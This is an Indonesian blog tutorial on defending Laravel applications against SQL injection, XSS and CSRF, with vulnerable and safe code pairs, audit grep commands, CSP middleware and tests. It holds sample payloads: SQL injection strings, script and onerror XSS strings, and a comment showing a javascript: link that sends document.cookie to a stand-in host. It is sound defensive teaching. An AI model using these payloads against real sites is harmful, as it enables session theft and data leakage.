Source code aplikasi, template web, dan ebook. Unduh dari akun setelah bayar. Lihat produk

Blog / Keamanan / Mencegah SQL Injection, Cross-...
Keamanan

Mencegah SQL Injection, Cross-Site Scripting, dan CSRF pada Aplikasi Laravel

AD

Admin HijrahKreativa

Penulis

19 Oct 2026
13 min read
10 views

Laravel melindungi Anda dari ketiga serangan ini secara bawaan, sampai kode Anda sendiri mematikan perlindungannya. Panduan ini menunjukkan di mana perlindungan bawaan bekerja, pola kode yang membukanya kembali, dan cara memperbaikinya dengan contoh rentan vs aman.

Overview

SQL Injection, Cross-Site Scripting (XSS), dan Cross-Site Request Forgery (CSRF) adalah tiga serangan web paling klasik. Ketiganya punya pola yang sama: data dari penyerang diperlakukan sebagai perintah.

Serangan Data penyerang dijalankan sebagai Dampak
SQL Injection Bagian query SQL Data bocor, diubah, atau dihapus; bypass login
XSS Skrip di browser korban Pencurian sesi, aksi atas nama korban, pemalsuan tampilan
CSRF Request sah dari browser korban Transaksi, perubahan data, atau logout tanpa sepengetahuan korban

Laravel memberi perlindungan bawaan yang kuat:

Serangan Perlindungan bawaan Cara merusaknya
SQL Injection Parameter binding (PDO prepared statement) DB::raw, whereRaw, orderBy($input) dengan input pengguna
XSS {{ }} di Blade otomatis di-escape {!! !!}, atribut href, data di dalam <script>, v-html
CSRF Middleware validasi token di grup web Mengecualikan route, aksi yang mengubah data lewat GET

Hasil akhir: pemahaman mekanisme ketiga serangan di konteks Laravel, pola kode aman untuk kasus yang sering membuat developer keluar dari jalur aman, dan test otomatis untuk setiap pola.

Prerequisites

Komponen Versi
PHP 8.3+ (disarankan 8.4)
Laravel 13.x
Database MySQL 8.0+ / PostgreSQL 15+
Sanitasi HTML (opsional) symfony/html-sanitizer 7.x
Testing Pest 4

Step-by-step Tutorial

Bagian A: SQL Injection

Langkah 1: Pahami Kenapa Query Builder Aman

Warga::where('nama', $request->nama)->get();

Laravel mengirim query dan nilai secara terpisah ke database:

SQL     : select * from `warga` where `nama` = ?
Binding : ["Budi' OR '1'='1"]

Database memperlakukan binding sebagai nilai, bukan bagian dari perintah, sehingga input berisi tanda kutip tidak bisa mengubah struktur query. Ini berlaku untuk where, whereIn, insert, update, create, dan hampir semua method Eloquent/Query Builder.

Langkah 2: Kenali Titik Rawan

Perlindungan hilang ketika input pengguna masuk ke bagian query yang bukan nilai: SQL mentah, nama kolom, atau arah pengurutan.

a. Raw expression dengan interpolasi string

// RENTAN
Warga::whereRaw("nama LIKE '%{$request->q}%'")->get();
DB::select("select * from iuran where periode = '{$request->periode}'");

// AMAN: binding
Warga::whereRaw('nama LIKE ?', ['%'.$request->q.'%'])->get();
DB::select('select * from iuran where periode = ?', [$request->periode]);

Payload x' OR '1'='1 pada versi rentan mengembalikan seluruh data.

b. Nama kolom dan arah pengurutan dari input

Binding hanya bisa dipakai untuk nilai. Nama kolom tidak bisa di-binding, sehingga harus divalidasi dengan daftar putih:

// RENTAN: ?sort=nama,(select password from users limit 1)
Warga::orderBy($request->sort, $request->dir)->paginate();

// AMAN
$sort = in_array($request->sort, ['nama', 'created_at', 'nomor_kk'], true) ? $request->sort : 'nama';
$dir  = $request->dir === 'desc' ? 'desc' : 'asc';

Warga::orderBy($sort, $dir)->paginate();

Lebih rapi dengan validasi Form Request:

'sort' => ['nullable', Rule::in(['nama', 'created_at', 'nomor_kk'])],
'dir'  => ['nullable', Rule::in(['asc', 'desc'])],

Hal yang sama berlaku untuk nama kolom di select(), groupBy(), where($kolom, ...) dengan kolom dari input, dan nama tabel dinamis.

c. Fragmen SQL di selectRaw, orderByRaw, havingRaw

// RENTAN
Iuran::selectRaw("SUM(jumlah) as total, {$request->group} as grup")->groupByRaw($request->group);

// AMAN: peta pilihan → ekspresi yang Anda tulis sendiri
$grup = match ($request->group) {
    'bulan' => "DATE_FORMAT(dibayar_pada, '%Y-%m')",
    'rt'    => 'rukun_tetangga_id',
    default => 'periode',
};

Iuran::selectRaw("SUM(jumlah) as total, {$grup} as grup")->groupByRaw($grup)->get();

Ekspresi $grup aman karena seluruhnya berasal dari kode Anda; input pengguna hanya memilih salah satu kunci.

Langkah 3: Pencarian LIKE dan Karakter Wildcard

Binding mencegah injeksi, tetapi % dan _ dari pengguna tetap bermakna sebagai wildcard. Pencarian % mencocokkan semua baris dan bisa membebani database pada tabel besar.

$kata = str_replace(['\\', '%', '_'], ['\\\\', '\%', '\_'], $request->string('q')->limit(50));

Warga::where('nama', 'like', "%{$kata}%")->paginate();

Batasi juga panjang kata kunci (max:50) di validasi.

Langkah 4: Temukan Pola Rawan di Kode

grep -rnE "(Raw|raw)\(" app/ | grep -E '\$|\{'
grep -rnE "orderBy\(\\\$request|orderBy\(request\(" app/
grep -rnE "DB::(select|statement|unprepared)\(" app/

Review setiap hasil. Pastikan setiap variabel di dalam SQL mentah berasal dari kode Anda atau lewat binding.

Bagian B: Cross-Site Scripting (XSS)

Langkah 5: Escaping Bawaan Blade

<p>Halo, {{ $warga->nama }}</p>

Nama <script>alert(1)</script> ditampilkan sebagai teks &lt;script&gt;..., tidak dijalankan. {{ }} memanggil htmlspecialchars() dengan pengaturan aman untuk konteks isi elemen HTML dan nilai atribut yang dikutip.

Langkah 6: Konteks yang Tidak Cukup Dilindungi {{ }}

a. Output mentah {!! !!}

{{-- RENTAN bila $pengumuman->isi berasal dari pengguna --}}
{!! $pengumuman->isi !!}

Gunakan {!! !!} hanya untuk HTML yang Anda hasilkan sendiri atau yang sudah disanitasi (Langkah 7).

b. Atribut URL

{{-- RENTAN: pengguna mengisi website = "javascript:fetch('//evil.test?c='+document.cookie)" --}}
<a href="{{ $warga->website }}">Website</a>

Escaping HTML tidak menghentikan skema javascript:. Validasi saat input dan periksa saat output:

// Validasi
'website' => ['nullable', 'url:http,https', 'max:255'],
@if (Str::startsWith($warga->website, ['https://', 'http://']))
    <a href="{{ $warga->website }}" rel="noopener nofollow" target="_blank">Website</a>
@endif

c. Data di dalam <script>

{{-- RENTAN: escaping HTML tidak cocok untuk konteks JavaScript --}}
<script>
    const nama = '{{ $warga->nama }}';
</script>

{{-- AMAN: encode sebagai JSON dengan escape yang tepat --}}
<script>
    const warga = @js($warga->only(['id', 'nama']));
</script>

Direktif @js (atau Js::from()) menghasilkan JSON dengan flag yang meng-escape <, >, &, dan tanda kutip, sehingga tidak bisa keluar dari blok <script>.

d. Atribut tanpa tanda kutip dan event handler

{{-- RENTAN --}}
<div class={{ $kelas }}>
<button onclick="hapus('{{ $nama }}')">

{{-- AMAN --}}
<div class="{{ $kelas }}">
<button data-nama="{{ $nama }}" class="js-hapus">

Selalu kutip atribut, dan pindahkan logika dari atribut on* ke JavaScript terpisah yang membaca atribut data-*.

e. Frontend Vue/React/Inertia

Vue dan React juga meng-escape secara bawaan. Celahnya ada di v-html (Vue) dan dangerouslySetInnerHTML (React). Perlakukan keduanya sama seperti {!! !!}: hanya untuk HTML yang sudah disanitasi.

Langkah 7: Konten Rich Text yang Harus Menampilkan HTML

Pengumuman RW dibuat dengan editor WYSIWYG dan memang berisi HTML. Sanitasi dengan daftar putih tag saat disimpan:

composer require symfony/html-sanitizer
// app/Support/HtmlSanitizer.php
namespace App\Support;

use Symfony\Component\HtmlSanitizer\{HtmlSanitizer as Sanitizer, HtmlSanitizerConfig};

final class HtmlSanitizer
{
    private Sanitizer $sanitizer;

    public function __construct()
    {
        $config = (new HtmlSanitizerConfig())
            ->allowSafeElements()                                 // tag dan atribut aman, tanpa script/style/event
            ->allowLinkSchemes(['https', 'http', 'mailto'])
            ->allowMediaSchemes(['https'])
            ->forceAttribute('a', 'rel', 'noopener noreferrer nofollow')
            ->withMaxInputLength(50_000);

        $this->sanitizer = new Sanitizer($config);
    }

    public function clean(?string $html): string
    {
        return $this->sanitizer->sanitize((string) $html);
    }
}
// Saat menyimpan
$pengumuman->isi = app(HtmlSanitizer::class)->clean($request->validated('isi'));
{!! $pengumuman->isi !!}   {{-- aman: sudah disanitasi saat disimpan --}}

Untuk konten Markdown, gunakan pengaturan aman:

Str::markdown($teks, [
    'html_input'         => 'strip',      // buang HTML mentah
    'allow_unsafe_links' => false,        // blok javascript: dan data:
]);

Langkah 8: Batasi Dampak dengan Content Security Policy

Escaping adalah pencegahan; CSP adalah pembatas dampak bila ada satu celah yang terlewat. CSP memberi tahu browser sumber skrip mana yang boleh dijalankan.

// app/Http/Middleware/ContentSecurityPolicy.php
use Illuminate\Support\Facades\Vite;
use Illuminate\Support\Str;

public function handle(Request $request, Closure $next): Response
{
    $nonce = Str::random(32);
    Vite::useCspNonce($nonce);                 // tag script Vite otomatis mendapat nonce
    $request->attributes->set('csp_nonce', $nonce);

    $response = $next($request);

    $response->headers->set('Content-Security-Policy', implode('; ', [
        "default-src 'self'",
        "script-src 'self' 'nonce-{$nonce}'",
        "style-src 'self' 'unsafe-inline'",
        "img-src 'self' data: https:",
        "object-src 'none'",
        "base-uri 'self'",
        "frame-ancestors 'self'",
        "form-action 'self'",
    ]));

    return $response;
}

Skrip inline milik Anda sendiri ditambahkan nonce:

<script nonce="{{ Vite::cspNonce() }}">
    window.appConfig = @js(['locale' => app()->getLocale()]);
</script>

Mulailah dengan header Content-Security-Policy-Report-Only selama beberapa hari untuk melihat apa yang akan terblokir tanpa merusak halaman, lalu beralih ke mode penegakan.

Bagian C: Cross-Site Request Forgery (CSRF)

Langkah 9: Cara Kerja Perlindungan Bawaan

Setiap session memiliki token CSRF. Middleware validasi CSRF di grup web menolak request POST, PUT, PATCH, dan DELETE yang tidak menyertakan token yang cocok dengan respons 419 Page Expired.

<form method="POST" action="{{ route('kas.store') }}">
    @csrf
    {{-- ... --}}
</form>

<form method="POST" action="{{ route('keluarga.destroy', $keluarga) }}">
    @csrf
    @method('DELETE')
    <button>Hapus</button>
</form>

Situs penyerang tidak bisa membaca token ini, sehingga form palsu dari situs lain akan ditolak.

Langkah 10: Jangan Mengubah Data Lewat GET

Perlindungan CSRF hanya untuk method yang mengubah data. Bila aksi pengubahan data memakai GET, perlindungan itu tidak berlaku:

// RENTAN: <img src="https://rw.contoh.id/iuran/41/tandai-lunas"> di situs mana pun
Route::get('iuran/{iuran}/tandai-lunas', [IuranController::class, 'tandaiLunas']);

// AMAN
Route::post('iuran/{iuran}/tandai-lunas', [IuranController::class, 'tandaiLunas']);

Gunakan aturan ini juga untuk logout, hapus, setujui, kirim ulang email, dan ekspor yang mencatat aktivitas.

Langkah 11: CSRF untuk Request AJAX

Untuk JavaScript biasa, sertakan token dari tag meta:

<meta name="csrf-token" content="{{ csrf_token() }}">
fetch('/kas', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-TOKEN': document.querySelector('meta[name="csrf-token"]').content,
    },
    body: JSON.stringify(data),
});

Axios (dipakai starter kit dan Inertia) otomatis membaca cookie XSRF-TOKEN yang dikirim Laravel dan menambahkannya sebagai header X-XSRF-TOKEN. Karena itulah cookie XSRF-TOKEN sengaja tidak HttpOnly.

Untuk SPA di domain terpisah yang memakai Sanctum dengan autentikasi cookie, panggil /sanctum/csrf-cookie sebelum login, dan atur SANCTUM_STATEFUL_DOMAINS dengan benar.

Langkah 12: Mengecualikan Route dengan Aman

Webhook dari payment gateway tidak bisa mengirim token CSRF. Kecualikan hanya route tersebut, lalu ganti perlindungannya dengan verifikasi tanda tangan:

// bootstrap/app.php
->withMiddleware(function (Middleware $middleware) {
    $middleware->validateCsrfTokens(except: [
        'webhooks/pembayaran',
    ]);
})
// app/Http/Controllers/WebhookPembayaranController.php
public function __invoke(Request $request)
{
    $signature = hash_hmac('sha256', $request->getContent(), config('services.pembayaran.webhook_secret'));

    if (! hash_equals($signature, (string) $request->header('X-Signature'))) {
        abort(401);
    }

    // proses notifikasi ...
}

Gunakan hash_equals() (perbandingan waktu-konstan), bukan ===, untuk membandingkan tanda tangan. Jangan pernah mengecualikan pola luas seperti api/* dari grup web; route API seharusnya berada di grup api yang memakai token, bukan cookie.

Langkah 13: SameSite sebagai Lapisan Tambahan

SESSION_SAME_SITE=lax

Dengan lax, cookie session tidak dikirim pada request POST lintas situs. Ini lapisan tambahan, bukan pengganti token CSRF, karena perilaku browser lama berbeda-beda dan subdomain tetap dianggap "situs yang sama".

Langkah 14: Test untuk Ketiga Serangan

// tests/Feature/Security/InjectionTest.php
it('tidak bocor dengan payload SQL injection di pencarian', function () {
    $admin = User::factory()->create()->assignRole('admin');
    Warga::factory()->count(5)->create();

    $this->actingAs($admin)
        ->get('/warga?q='.urlencode("x' OR '1'='1"))
        ->assertOk()
        ->assertViewHas('warga', fn ($p) => $p->total() === 0);
});

it('mengabaikan kolom sort di luar daftar putih', function () {
    $admin = User::factory()->create()->assignRole('admin');

    $this->actingAs($admin)
        ->get('/warga?sort='.urlencode('(select password from users limit 1)'))
        ->assertSessionHasErrors('sort');
});
// tests/Feature/Security/XssTest.php
it('meng-escape nama warga di halaman', function () {
    $admin = User::factory()->create()->assignRole('admin');
    $warga = Warga::factory()->create(['nama' => '<script>alert(1)</script>']);

    $this->actingAs($admin)->get("/warga/{$warga->id}")
        ->assertSee('&lt;script&gt;alert(1)&lt;/script&gt;', escape: false)
        ->assertDontSee('<script>alert(1)</script>', escape: false);
});

it('membuang skrip dari pengumuman rich text', function () {
    $html = app(\App\Support\HtmlSanitizer::class)
        ->clean('<p>Rapat</p><script>alert(1)</script><a href="javascript:alert(1)">x</a><img src=x onerror=alert(1)>');

    expect($html)->toContain('<p>Rapat</p>')
        ->not->toContain('<script')
        ->not->toContain('javascript:')
        ->not->toContain('onerror');
});
// tests/Feature/Security/CsrfTest.php
it('tidak ada route GET yang mengubah data', function () {
    $mencurigakan = collect(Route::getRoutes()->getRoutes())
        ->filter(fn ($r) => in_array('GET', $r->methods(), true))
        ->filter(fn ($r) => preg_match('/(hapus|delete|setujui|approve|tandai|logout|kirim)/i', $r->uri()))
        ->map->uri()
        ->values();

    expect($mencurigakan)->toBeEmpty();
});

Laravel melewati pemeriksaan token CSRF saat menjalankan unit/feature test, sehingga respons 419 tidak bisa diuji dengan cara biasa di sana. Uji CSRF secara nyata lewat test end-to-end (Laravel Dusk atau Playwright) di staging, dan review daftar pengecualian di validateCsrfTokens(). Test "tidak ada route GET yang mengubah data" di atas tetap berguna di CI karena menangkap kesalahan desain route.

Troubleshooting

Error / Gejala Penyebab Solusi
419 Page Expired Token tidak dikirim, session kedaluwarsa, atau cookie tidak tersimpan Pastikan @csrf, header AJAX, dan konfigurasi domain/HTTPS cookie
419 hanya di request AJAX Header X-CSRF-TOKEN/X-XSRF-TOKEN tidak terkirim Tambahkan meta tag dan header, atau gunakan Axios
Webhook payment gagal dengan 419 Route webhook ada di grup web Kecualikan route itu dan verifikasi tanda tangan HMAC
Teks berisi &amp; ganda di halaman Data di-escape dua kali (disimpan sudah ter-escape lalu {{ }} lagi) Simpan data mentah, escape hanya saat output
HTML editor hilang formatnya setelah disimpan Sanitizer terlalu ketat Tambahkan elemen/atribut yang diperlukan ke daftar putih secara spesifik
Halaman rusak setelah CSP diaktifkan Skrip inline atau CDN tanpa izin Pakai nonce untuk skrip inline, tambahkan domain tepercaya, mulai dengan Report-Only
SQLSTATE[42000] setelah menambah daftar putih sort Nilai default tidak dalam daftar Pastikan nilai default termasuk kolom yang valid
Pencarian % mengembalikan semua data Wildcard tidak di-escape Escape %, _, \ sebelum LIKE

Best Practices

Keamanan

  • SQL: gunakan Query Builder/Eloquent; untuk SQL mentah selalu binding; untuk nama kolom selalu daftar putih.
  • XSS: {{ }} sebagai bawaan; {!! !!} hanya untuk HTML yang disanitasi; @js untuk data di JavaScript; validasi skema URL.
  • CSRF: semua aksi pengubahan data memakai POST/PUT/PATCH/DELETE; kecualikan hanya webhook bertanda tangan.
  • Pasang CSP dan cookie HttpOnly + SameSite sebagai lapisan pembatas dampak.
  • Sanitasi saat menyimpan, escape saat menampilkan.

Performa

  • Batasi panjang input pencarian dan escape wildcard untuk mencegah query LIKE yang membebani.
  • Instance sanitizer dibuat sekali (singleton) karena konfigurasinya tidak berubah.

Maintainability

  • Jadikan pola aman sebagai konvensi tim, dan tambahkan pencarian pola rawan (grep) ke checklist review.
  • Simpan daftar putih kolom sort/filter di satu tempat (Form Request atau konstanta model).
  • Pertahankan test XSS, injeksi, dan route GET di CI.

Related Articles

Last Tested

Komponen Versi
Laravel 13.x
PHP 8.4
MySQL 8.4 LTS
symfony/html-sanitizer 7.x
Pest 4.x
Tanggal 19 Oktober 2026

Bagikan artikel:

Artikel lainnya